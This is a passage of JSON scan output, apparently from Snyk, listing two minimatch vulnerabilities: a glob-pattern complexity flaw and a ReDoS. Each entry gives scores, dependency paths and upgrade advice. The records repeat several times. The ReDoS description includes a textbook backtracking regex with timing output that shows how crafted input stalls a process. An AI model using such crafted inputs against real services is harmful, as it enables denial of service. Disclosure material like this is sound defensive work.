"3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit 